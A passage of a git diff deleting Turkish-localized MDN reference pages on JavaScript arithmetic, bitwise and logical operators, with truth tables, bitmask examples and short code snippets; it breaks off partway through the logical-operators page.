<tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-additive-operators', 'Additive operators')}}</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-postfix-expressions', 'Postfix expressions')}}</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-11.5', 'Multiplicative operators')}}</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-11.4', 'Unary operator')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.operators.arithmetic")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li> -</ul> diff --git a/files/tr/conflicting/web/javascript/reference/operators_3b90ea9617c66e4283e266b64ea7ae4a/index.html b/files/tr/conflicting/web/javascript/reference/operators_3b90ea9617c66e4283e266b64ea7ae4a/index.html deleted file mode 100644 index aae13a1ced..0000000000 --- a/files/tr/conflicting/web/javascript/reference/operators_3b90ea9617c66e4283e266b64ea7ae4a/index.html +++ /dev/null @@ -1,567 +0,0 @@ ---- -title: Bitwise operators -slug: >- - conflicting/Web/JavaScript/Reference/Operators_3b90ea9617c66e4283e266b64ea7ae4a -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators -original_slug: Web/JavaScript/Reference/Operatörler/Bitwise_Operators ---- -<div>{{jsSidebar("Operators")}}</div> - -<p><strong>Bitsel işleçler</strong> işlediği elemanlara ondalık, onaltılık veya <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">sayılar</a></code> yerine 32 bit diziler(sıfır ve birler) olarak davranır. Örneğin, onluk bir sayı olan 9, ikilik sistemde 1001 ile gösterilir. Bitsel işleçler, işlemin iki tarafınada ikili değerleriyle işlem yapar ancak JavaScript standartı olan sayısal değerleri döner.</p> - -<p>Aşağıdaki tablo JavaScript'in bitsel işleçlerini özetler:</p> - -<table class="standard-table"> - <tbody> - <tr> - <th>Operator</th> - <th>Usage</th> - <th>Description</th> - </tr> - <tr> - <td><a href="#Bitwise_AND">Bitwise AND</a></td> - <td><code>a & b</code></td> - <td>Bitsel işleçin iki tarafının karşılık gelen bitleri 1 ise, en az bir tanesi 0 ise 0 döndürür.</td> - </tr> - <tr> - <td><a href="#Bitwise_OR">Bitwise OR</a></td> - <td><code>a | b</code></td> - <td>Bitsel işleçin iki tarafının karşılık gelen bitlerinden en az biri 1 ise 1 döndürür.</td> - </tr> - <tr> - <td><a href="#Bitwise_XOR">Bitwise XOR</a></td> - <td><code>a ^ b</code></td> - <td>Bitsel işleçin iki tarafının karşılık gelen bitlerinden ancak bir tanesi 1 ise, 1 döndürür.</td> - </tr> - <tr> - <td><a href="#Bitwise_NOT">Bitwise NOT</a></td> - <td><code>~ a</code></td> - <td>İşlenenin bitlerini ters çevirir.</td> - </tr> - <tr> - <td><a href="#Left_shift">Left shift</a></td> - <td><code>a << b</code></td> - <td><code>a</code> sayısının ikili haline, sağına <code>b</code> (< 32) adet bit 0 ekleyerek sola doğru kaydırır.</td> - </tr> - <tr> - <td><a href="#Right_shift">Sign-propagating right shift</a></td> - <td><code>a >> b</code></td> - <td><code>a</code> sayısının ikili halini <code>b</code> (< 32) adet bit sağa kaydırır. Pozitif sayılar için b adet 0, negatif sayılar için 1 ekleyerek kaydırır.</td> - </tr> - <tr> - <td><a href="#Unsigned_right_shift">Zero-fill right shift</a></td> - <td><code>a >>> b</code></td> - <td><code>a</code> sayısının ikili gösterimine <code>b</code> (< 32) bit sağa kaydırır, <code>a</code> sayısının pozitif negatif olmasına bakmadan sayının soluna <code>b</code> adet 0 ekler.</td> - </tr> - </tbody> -</table> - -<h2 id="İşaretli_32-bit_integer_sayılar">İşaretli 32-bit integer sayılar</h2> - -<p>The operands of all bitwise operators are converted to signed 32-bit integers in two's complement format. Two's complement format means that a number's negative counterpart (e.g. 5 vs. -5) is all the number's bits inverted (bitwise NOT of the number, a.k.a. ones' complement of the number) plus one. For example, the following encodes the integer 314:</p> - -<pre>00000000000000000000000100111010 -</pre> - -<p>The following encodes <code>~314</code>, i.e. the ones' complement of <code>-314</code>:</p> - -<pre>11111111111111111111111011000101 -</pre> - -<p>Finally, the following encodes <code>-314,</code> i.e. the two's complement of <code>-314</code>:</p> - -<pre>11111111111111111111111011000110 -</pre> - -<p>The two's complement guarantees that the left-most bit is 0 when the number is positive and 1 when the number is negative. Thus, it is called the <em>sign bit</em>.</p> - -<p>The number <code>0</code> is the integer that is composed completely of 0 bits.</p> - -<pre>0 (base 10) = 00000000000000000000000000000000 (base 2) -</pre> - -<p>The number <code>-1</code> is the integer that is composed completely of 1 bits.</p> - -<pre>-1 (base 10) = 11111111111111111111111111111111 (base 2) -</pre> - -<p>The number <code>-2147483648</code> (hexadecimal representation: <code>-0x80000000</code>) is the integer that is composed completely of 0 bits except the first (left-most) one.</p> - -<pre>-2147483648 (base 10) = 10000000000000000000000000000000 (base 2) -</pre> - -<p>The number <code>2147483647</code> (hexadecimal representation: <code>0x7fffffff</code>) is the integer that is composed completely of 1 bits except the first (left-most) one.</p> - -<pre>2147483647 (base 10) = 01111111111111111111111111111111 (base 2) -</pre> - -<p>The numbers <code>-2147483648</code> and <code>2147483647</code> are the minimum and the maximum integers representable through a 32bit signed number.</p> - -<h2 id="Bitwise_logical_operators">Bitwise logical operators</h2> - -<p>Conceptually, the bitwise logical operators work as follows:</p> - -<ul> - <li>The operands are converted to 32-bit integers and expressed by a series of bits (zeroes and ones). Numbers with more than 32 bits get their most significant bits discarded. For example, the following integer with more than 32 bits will be converted to a 32 bit integer: - <pre>Before: 11100110111110100000000000000110000000000001 -After: 10100000000000000110000000000001</pre> - </li> - <li>Each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.</li> - <li>The operator is applied to each pair of bits, and the result is constructed bitwise.</li> -</ul> - -<h3 id="(Bitwise_AND)"><a name="Bitwise_AND">& (Bitwise AND)</a></h3> - -<p>Performs the AND operation on each pair of bits. <code>a</code> AND <code>b</code> yields 1 only if both <code>a</code> and <code>b</code> are 1. The truth table for the AND operation is:</p> - -<table class="standard-table"> - <tbody> - <tr> - <td class="header">a</td> - <td class="header">b</td> - <td class="header">a AND b</td> - </tr> - <tr> - <td>0</td> - <td>0</td> - <td>0</td> - </tr> - <tr> - <td>0</td> - <td>1</td> - <td>0</td> - </tr> - <tr> - <td>1</td> - <td>0</td> - <td>0</td> - </tr> - <tr> - <td>1</td> - <td>1</td> - <td>1</td> - </tr> - </tbody> -</table> - -<pre>. 9 (base 10) = 00000000000000000000000000001001 (base 2) - 14 (base 10) = 00000000000000000000000000001110 (base 2) - -------------------------------- -14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10) -</pre> - -<p>Bitwise ANDing any number x with 0 yields 0. Bitwise ANDing any number x with -1 yields x.</p> - -<h3 id="(Bitwise_OR)"><a name="Bitwise_OR">| (Bitwise OR)</a></h3> - -<p>Performs the OR operation on each pair of bits. <code>a</code> OR <code>b</code> yields 1 if either <code>a</code> or <code>b</code> is 1. The truth table for the OR operation is:</p> - -<table class="standard-table"> - <tbody> - <tr> - <td class="header">a</td> - <td class="header">b</td> - <td class="header">a OR b</td> - </tr> - <tr> - <td>0</td> - <td>0</td> - <td>0</td> - </tr> - <tr> - <td>0</td> - <td>1</td> - <td>1</td> - </tr> - <tr> - <td>1</td> - <td>0</td> - <td>1</td> - </tr> - <tr> - <td>1</td> - <td>1</td> - <td>1</td> - </tr> - </tbody> -</table> - -<pre>. 9 (base 10) = 00000000000000000000000000001001 (base 2) - 14 (base 10) = 00000000000000000000000000001110 (base 2) - -------------------------------- -14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10) -</pre> - -<p>Bitwise ORing any number x with 0 yields x. Bitwise ORing any number x with -1 yields -1.</p> - -<h3 id="(Bitwise_XOR)"><a name="Bitwise_XOR">^ (Bitwise XOR)</a></h3> - -<p>Performs the XOR operation on each pair of bits. <code>a</code> XOR <code>b</code> yields 1 if <code>a</code> and <code>b</code> are different. The truth table for the XOR operation is:</p> - -<table class="standard-table"> - <tbody> - <tr> - <td class="header">a</td> - <td class="header">b</td> - <td class="header">a XOR b</td> - </tr> - <tr> - <td>0</td> - <td>0</td> - <td>0</td> - </tr> - <tr> - <td>0</td> - <td>1</td> - <td>1</td> - </tr> - <tr> - <td>1</td> - <td>0</td> - <td>1</td> - </tr> - <tr> - <td>1</td> - <td>1</td> - <td>0</td> - </tr> - </tbody> -</table> - -<pre>. 9 (base 10) = 00000000000000000000000000001001 (base 2) - 14 (base 10) = 00000000000000000000000000001110 (base 2) - -------------------------------- -14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10) -</pre> - -<p>Bitwise XORing any number x with 0 yields x. Bitwise XORing any number x with -1 yields ~x.</p> - -<h3 id="(Bitwise_NOT)"><a name="Bitwise_NOT">~ (Bitwise NOT)</a></h3> - -<p>Performs the NOT operator on each bit. NOT <code>a</code> yields the inverted value (a.k.a. one's complement) of <code>a</code>. The truth table for the NOT operation is:</p> - -<table class="standard-table"> - <tbody> - <tr> - <td class="header">a</td> - <td class="header">NOT a</td> - </tr> - <tr> - <td>0</td> - <td>1</td> - </tr> - <tr> - <td>1</td> - <td>0</td> - </tr> - </tbody> -</table> - -<pre> 9 (base 10) = 00000000000000000000000000001001 (base 2) - -------------------------------- -~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10) -</pre> - -<p>Bitwise NOTing any number x yields -(x + 1). For example, ~-5 yields 4.</p> - -<p>Example with indexOf:</p> - -<pre class="brush: js">var str = 'rawr'; -var searchFor = 'a'; - -// this is alternative way of typing if (-1*str.indexOf('a') <= 0) -if (~str.indexOf(searchFor)) { - // searchFor is in the string -} else { - // searchFor is not in the string -} - -// here are the values returned by (~str.indexOf(searchFor)) -// r == -1 -// a == -2 -// w == -3 -</pre> - -<h2 id="Bitwise_shift_operators">Bitwise shift operators</h2> - -<p>The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used.</p> - -<p>Shift operators convert their operands to 32-bit integers in big-endian order and return a result of the same type as the left operand. The right operand should be less than 32, but if not only the low five bits will be used.</p> - -<h3 id="<<_(Left_shift)"><a name="Left_shift"><< (Left shift)</a></h3> - -<p>This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right.</p> - -<p>For example, <code>9 << 2</code> yields 36:</p> - -<pre>. 9 (base 10): 00000000000000000000000000001001 (base 2) - -------------------------------- -9 << 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10) -</pre> - -<p>Bitwise shifting any number <strong>x</strong> to the left by <strong>y</strong> bits yields <strong>x * 2^y</strong>.</p> - -<h3 id=">>_(Sign-propagating_right_shift)"><a name="Right_shift">>> (Sign-propagating right shift)</a></h3> - -<p>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left. Since the new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change. Hence the name "sign-propagating".</p> - -<p>For example, <code>9 >> 2</code> yields 2:</p> - -<pre>. 9 (base 10): 00000000000000000000000000001001 (base 2) - -------------------------------- -9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) -</pre> - -<p>Likewise, <code>-9 >> 2</code> yields -3, because the sign is preserved:</p> - -<pre>. -9 (base 10): 11111111111111111111111111110111 (base 2) - -------------------------------- --9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10) -</pre> - -<h3 id=">>>_(Zero-fill_right_shift)"><a name="Unsigned_right_shift">>>> (Zero-fill right shift)</a></h3> - -<p>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left. The sign bit becomes 0, so the result is always non-negative.</p> - -<p>For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result. For example, <code>9 >>> 2</code> yields 2, the same as <code>9 >> 2</code>:</p> - -<pre>. 9 (base 10): 00000000000000000000000000001001 (base 2) - -------------------------------- -9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) -</pre> - -<p>However, this is not the case for negative numbers. For example, <code>-9 >>> 2</code> yields 1073741821, which is different than <code>-9 >> 2</code> (which yields -3):</p> - -<pre>. -9 (base 10): 11111111111111111111111111110111 (base 2) - -------------------------------- --9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10) -</pre> - -<h2 id="Examples">Examples</h2> - -<h3 id="Flags_and_bitmasks">Flags and bitmasks</h3> - -<p>The bitwise logical operators are often used to create, manipulate, and read sequences of <em>flags</em>, which are like binary variables. Variables could be used instead of these sequences, but binary flags take much less memory (by a factor of 32).</p> - -<p>Suppose there are 4 flags:</p> - -<ul> - <li>flag A: we have an ant problem</li> - <li>flag B: we own a bat</li> - <li>flag C: we own a cat</li> - <li>flag D: we own a duck</li> -</ul> - -<p>These flags are represented by a sequence of bits: DCBA. When a flag is <em>set</em>, it has a value of 1. When a flag is <em>cleared</em>, it has a value of 0. Suppose a variable <code>flags</code> has the binary value 0101:</p> - -<pre class="brush: js">var flags = 5; // binary 0101 -</pre> - -<p>This value indicates:</p> - -<ul> - <li>flag A is true (we have an ant problem);</li> - <li>flag B is false (we don't own a bat);</li> - <li>flag C is true (we own a cat);</li> - <li>flag D is false (we don't own a duck);</li> -</ul> - -<p>Since bitwise operators are 32-bit, 0101 is actually 00000000000000000000000000000101, but the preceding zeroes can be neglected since they contain no meaningful information.</p> - -<p>A <em>bitmask</em> is a sequence of bits that can manipulate and/or read flags. Typically, a "primitive" bitmask for each flag is defined:</p> - -<pre class="brush: js">var FLAG_A = 1; // 0001 -var FLAG_B = 2; // 0010 -var FLAG_C = 4; // 0100 -var FLAG_D = 8; // 1000 -</pre> - -<p>New bitmasks can be created by using the bitwise logical operators on these primitive bitmasks. For example, the bitmask 1011 can be created by ORing FLAG_A, FLAG_B, and FLAG_D:</p> - -<pre class="brush: js">var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 => 1011 -</pre> - -<p>Individual flag values can be extracted by ANDing them with a bitmask, where each bit with the value of one will "extract" the corresponding flag. The bitmask <em>masks</em> out the non-relevant flags by ANDing with zeroes (hence the term "bitmask"). For example, the bitmask 0100 can be used to see if flag C is set:</p> - -<pre class="brush: js">// if we own a cat -if (flags & FLAG_C) { // 0101 & 0100 => 0100 => true - // do stuff -} -</pre> - -<p>A bitmask with multiple set flags acts like an "either/or". For example, the following two are equivalent:</p> - -<pre class="brush: js">// if we own a bat or we own a cat -// (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true -if ((flags & FLAG_B) || (flags & FLAG_C)) { - // do stuff -} -</pre> - -<pre class="brush: js">// if we own a bat or cat -var mask = FLAG_B | FLAG_C; // 0010 | 0100 => 0110 -if (flags & mask) { // 0101 & 0110 => 0100 => true - // do stuff -} -</pre> - -<p>Flags can be set by ORing them with a bitmask, where each bit with the value one will set the corresponding flag, if that flag isn't already set. For example, the bitmask 1100 can be used to set flags C and D:</p> - -<pre class="brush: js">// yes, we own a cat and a duck -var mask = FLAG_C | FLAG_D; // 0100 | 1000 => 1100 -flags |= mask; // 0101 | 1100 => 1101 -</pre> - -<p>Flags can be cleared by ANDing them with a bitmask, where each bit with the value zero will clear the corresponding flag, if it isn't already cleared. This bitmask can be created by NOTing primitive bitmasks. For example, the bitmask 1010 can be used to clear flags A and C:</p> - -<pre class="brush: js">// no, we don't have an ant problem or own a cat -var mask = ~(FLAG_A | FLAG_C); // ~0101 => 1010 -flags &= mask; // 1101 & 1010 => 1000 -</pre> - -<p>The mask could also have been created with <code>~FLAG_A & ~FLAG_C</code> (De Morgan's law):</p> - -<pre class="brush: js">// no, we don't have an ant problem, and we don't own a cat -var mask = ~FLAG_A & ~FLAG_C; -flags &= mask; // 1101 & 1010 => 1000 -</pre> - -<p>Flags can be toggled by XORing them with a bitmask, where each bit with the value one will toggle the corresponding flag. For example, the bitmask 0110 can be used to toggle flags B and C:</p> - -<pre class="brush: js">// if we didn't have a bat, we have one now, -// and if we did have one, bye-bye bat -// same thing for cats -var mask = FLAG_B | FLAG_C; -flags = flags ^ mask; // 1100 ^ 0110 => 1010 -</pre> - -<p>Finally, the flags can all be flipped with the NOT operator:</p> - -<pre class="brush: js">// entering parallel universe... -flags = ~flags; // ~1010 => 0101 -</pre> - -<h3 id="Conversion_snippets">Conversion snippets</h3> - -<p>Convert a binary <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> to a decimal <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>:</p> - -<pre class="brush: js">var sBinString = '1011'; -var nMyNumber = parseInt(sBinString, 2); -alert(nMyNumber); // prints 11, i.e. 1011 -</pre> - -<p>Convert a decimal <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code> to a binary <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code>:</p> - -<pre class="brush: js">var nMyNumber = 11; -var sBinString = nMyNumber.toString(2); -alert(sBinString); // prints 1011, i.e. 11 -</pre> - -<h3 id="Automate_Mask_Creation">Automate Mask Creation</h3> - -<p>You can create multiple masks from a set of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code> values, like this:</p> - -<pre class="brush: js">function createMask() { - var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length; - for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++); - return nMask; -} -var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011 -var mask2 = createMask(false, false, true); // 4, i.e.: 0100 -var mask3 = createMask(true); // 1, i.e.: 0001 -// etc. - -alert(mask1); // prints 11, i.e.: 1011 -</pre> - -<h3 id="Reverse_algorithm_an_array_of_booleans_from_a_mask">Reverse algorithm: an array of booleans from a mask</h3> - -<p>If you want to create an <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Booleans</a></code> from a mask you can use this code:</p> - -<pre class="brush: js">function arrayFromMask(nMask) { - // nMask must be between -2147483648 and 2147483647 - if (nMask > 0x7fffffff || nMask < -0x80000000) { - throw new TypeError('arrayFromMask - out of range'); - } - for (var nShifted = nMask, aFromMask = []; nShifted; - aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1); - return aFromMask; -} - -var array1 = arrayFromMask(11); -var array2 = arrayFromMask(4); -var array3 = arrayFromMask(1); - -alert('[' + array1.join(', ') + ']'); -// prints "[true, true, false, true]", i.e.: 11, i.e.: 1011 -</pre> - -<p>You can test both algorithms at the same time…</p> - -<pre class="brush: js">var nTest = 19; // our custom mask -var nResult = createMask.apply(this, arrayFromMask(nTest)); - -alert(nResult); // 19 -</pre> - -<p>For didactic purpose only (since there is the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString">Number.toString(2)</a></code> method), we show how it is possible to modify the <code>arrayFromMask</code> algorithm in order to create a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> containing the binary representation of a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>, rather than an <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Booleans</a></code>:</p> - -<pre class="brush: js">function createBinaryString(nMask) { - // nMask must be between -2147483648 and 2147483647 - for (var nFlag = 0, nShifted = nMask, sMask = ''; nFlag < 32; - nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1); - return sMask; -} - -var string1 = createBinaryString(11); -var string2 = createBinaryString(4); -var string3 = createBinaryString(1); - -alert(string1); -// prints 00000000000000000000000000001011, i.e. 11 -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-11.7')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.8">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.7">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.10">Binary bitwise operators</a></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-bitwise-shift-operators')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-bitwise-operators">Binary bitwise operators</a></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td>Defined in several sections of the specification: <a href="http://tc39.github.io/ecma262/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://tc39.github.io/ecma262/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-bitwise-operators">Binary bitwise operators</a></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.operators.bitwise")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators">Logical operators</a></li> -</ul> diff --git a/files/tr/conflicting/web/javascript/reference/operators_603c79383d36dadbe5083df806de5999/index.html b/files/tr/conflicting/web/javascript/reference/operators_603c79383d36dadbe5083df806de5999/index.html deleted file mode 100644 index 8bebaa5873..0000000000 --- a/files/tr/conflicting/web/javascript/reference/operators_603c79383d36dadbe5083df806de5999/index.html +++ /dev/null @@ -1,314 +0,0 @@ ---- -title: Mantıksal Operatörler -slug: >- - conflicting/Web/JavaScript/Reference/Operators_603c79383d36dadbe5083df806de5999 -tags: - - Değil - - JavaScript - - Mantıksal Operatörler - - Operator - - Referans - - ve - - ya da -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators -original_slug: Web/JavaScript/Reference/Operatörler/Mantiksal_Operatorler ---- -<div>{{jsSidebar("Operators")}}</div> - -<p>Mantıksal operatörler genellikle {{jsxref("Boolean")}} (mantıksal) değerleri ile kullanılır. Kullanıldıklarında, bir boolean değer döndürürler. Ancak, <code>&&</code> ve <code>||</code> operatörleri aslında belirtilmiş olan operandlardan birinin değerini döndürür, bu sebeple eğer bu operatörler Boolean olmayan değerler ile kullanılırsa, Boolean olmayan değerler üretebilirler.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Mantıksal operatörler aşağıdaki tabloda açıklanıyor:</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <th>Operatör</th> - <th>Kullanım</th> - <th>Açıklama</th> - </tr> - <tr> - <td>Mantıksal VE (<code>&&</code>)</td> - <td><code><em>expr1</em> && <em>expr2</em></code></td> - <td>Eğer <code>expr1</code> false değerine dönüştürülebilirse, <code>expr1</code> döndürülür. Aksi halde, <code>expr2</code> döndürülür. Böylece, Boolean değerleri ile kullanıldıklarında, <code>&&</code> her iki operand <code>true</code> ise <code>true</code> ; aksi halde, <code>false</code> döndürür.</td> - </tr> - <tr> - <td>Mantıksal YA DA (<code>||</code>)</td> - <td><code><em>expr1</em> || <em>expr2</em></code></td> - <td>Eğer <code>expr1</code> true değerine dönüştürülebilirse, expr1 döndürülür, aksi halde, <code>expr2</code> döndürülür. Böylece, Boolean değerleri ile kullanıldıklarında, <code>||</code> her iki operanddan herhangi biri <code>true</code> ise <code>true</code> döndürür.</td> - </tr> - <tr> - <td>Mantıksal DEĞİL (<code>!</code>)</td> - <td><code>!<em>expr</em></code></td> - <td>Eğer operandın değeri <code>true</code> is false döndürür, aksi alde <code>true</code> döndürür.</td> - </tr> - </tbody> -</table> - -<p>Eğer bir değer <code>true</code> değerine dönüştürülebiliyorsa, ona {{Glossary("truthy")}} ismi verilir. Eğer bir değer <code>false</code> değerine dönüştürülebiliyorsa, ona {{Glossary("falsy")}} denir.</p> - -<p><code><a href="https://developer.mozilla.org/en-US/docs/Glossary/Falsy">False</a></code> değerine dönüştürülebilen ifadelere örnekler:</p> - -<ul> - <li><code>null</code>;</li> - <li><code>NaN;</code></li> - <li><code>0</code>;</li> - <li>boş string (<code>""</code>); </li> - <li><code>undefined</code>.</li> -</ul> - -<p>&& ve || operatörleri <code>Boolean</code> olmayan değerler ile kullanılabiliyor olmasına rağmen, döndürdükleri değerler her zaman <code>Boolean</code> değerlerine çevirilebildiğinden, halen <code>Boolean</code> operatörleri olarak düşünülebilirler.</p> - -<h3 id="Kısa-devre_değerlendirmeleri">Kısa-devre değerlendirmeleri</h3> - -<p>Mantıksal operatörler soldan sağa çalıştırıldıkları gibi, mümkünse aşağıdaki kurallar kullanılarak "kısa devre" testine tabi tutulurlar:</p> - -<ul> - <li><code>false && (<em>herhangi)</em></code> bir kısa devre, false değerine çevrilir.</li> - <li><code>true || (<em>herhangi)</em></code> bir kısa devre, true değerine çevrilir.</li> -</ul> - -<p>Mantık kuralları bu değerlendirmelerin doğruluğunu garantiler. Yukarıdaki ifadelerin tümünün çalıştırılmayacağına, bu sebeple hepsinin yan etkisinin olmayacağına dikkat edin. Ayrıca yukarıdaki ifadenin <code>(herhangi)</code> kısmının tamamıyla bir mantıksal ifadeye eşit olduğuna dikkat edin. (parantezler ile gösterildiği gibi).</p> - -<p>Örneğin, aşağıdaki iki fonksiyon birbirinin aynısıdır.</p> - -<pre class="brush: js">function shortCircuitEvaluation() { - doSomething() || doSomethingElse() -} - -function equivalentEvaluation() { - var flag = doSomething(); - if (!flag) { - doSomethingElse(); - } -} -</pre> - -<p>Ancak, aşağıdaki ifadeler operatör önceliğine göre eşit değildir ve sağ el operatörünün tek bir ifade olmasının önemini vurgular (gerekirse parantezler ile gruplanır).</p> - -<pre class="brush: js">false && true || true // returns true -false && (true || true) // returns false</pre> - -<h3 id="Mantıksal_VE_()"><a name="Logical_AND">Mantıksal VE (<code>&&</code>)</a></h3> - -<p>Aşağıdaki kod && (mantıksal VE) operatörüyle ilgili örnekleri gösterir.</p> - -<pre class="brush: js">a1 = true && true // t && t returns true -a2 = true && false // t && f returns false -a3 = false && true // f && t returns false -a4 = false && (3 == 4) // f && f returns false -a5 = "Cat" && "Dog" // t && t returns "Dog" -a6 = false && "Cat" // f && t returns false -a7 = "Cat" && false // t && f returns false -a8 = "" && false // returns "" -a9 = false && || // returns false -</pre> - -<h3 id="Mantıksal_YA_DA_()"><a name="Logical_OR">Mantıksal YA DA (<code>||</code>)</a></h3> - -<p>Aşağıdaki kod || (mantıksal YA DA) operatörüyle ilgili örnekleri gösterir.</p> - -<pre class="brush: js">o1 = true || true // t || t returns true -o2 = false || true // f || t returns true -o3 = true || false // t || f returns true -o4 = false || (3 == 4) // f || f returns false -o5 = "Cat" || "Dog" // t || t returns "Cat" -o6 = false || "Cat" // f || t returns "Cat" -o7 = "Cat" || false // t || f returns "Cat" -o8 = "" || false // returns false -o9 = false || "" // returns "" -</pre> - -<h3 id="Mantıksal_DEĞİL_(!)"><a name="Logical_NOT">Mantıksal DEĞİL (<code>!</code>)</a></h3> - -<p>Aşağıdaki kod ! (mantıksal DEĞİL) operatörüyle ilgili örnekleri gösterir.</p> - -<pre class="brush: js">n1 = !true // !t returns false -n2 = !false // !f returns true -n3 = !"Cat" // !t returns false -</pre> - -<h3 id="Dönüşüm_kuralları">Dönüşüm kuralları</h3> - -<h4 id="VE_operatörünü_YA_DA_operatörüne_dönüştürmek">VE operatörünü YA DA operatörüne dönüştürmek</h4> - -<p>Booleanları içeren aşağıdaki ifade:</p> - -<pre class="brush: js">bCondition1 && bCondition2</pre> - -<p>her zaman şuna eşittir:</p> - -<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre> - -<h4 id="YA_DA_operatörünü_VE_operatörüne_çevirmek">YA DA operatörünü VE operatörüne çevirmek</h4> - -<p>Booleanları içeren aşağıdaki ifade:</p> - -<pre class="brush: js">bCondition1 || bCondition2</pre> - -<p>her zaman şuna eşittir:</p> - -<pre class="brush: js">!(!bCondition1 && 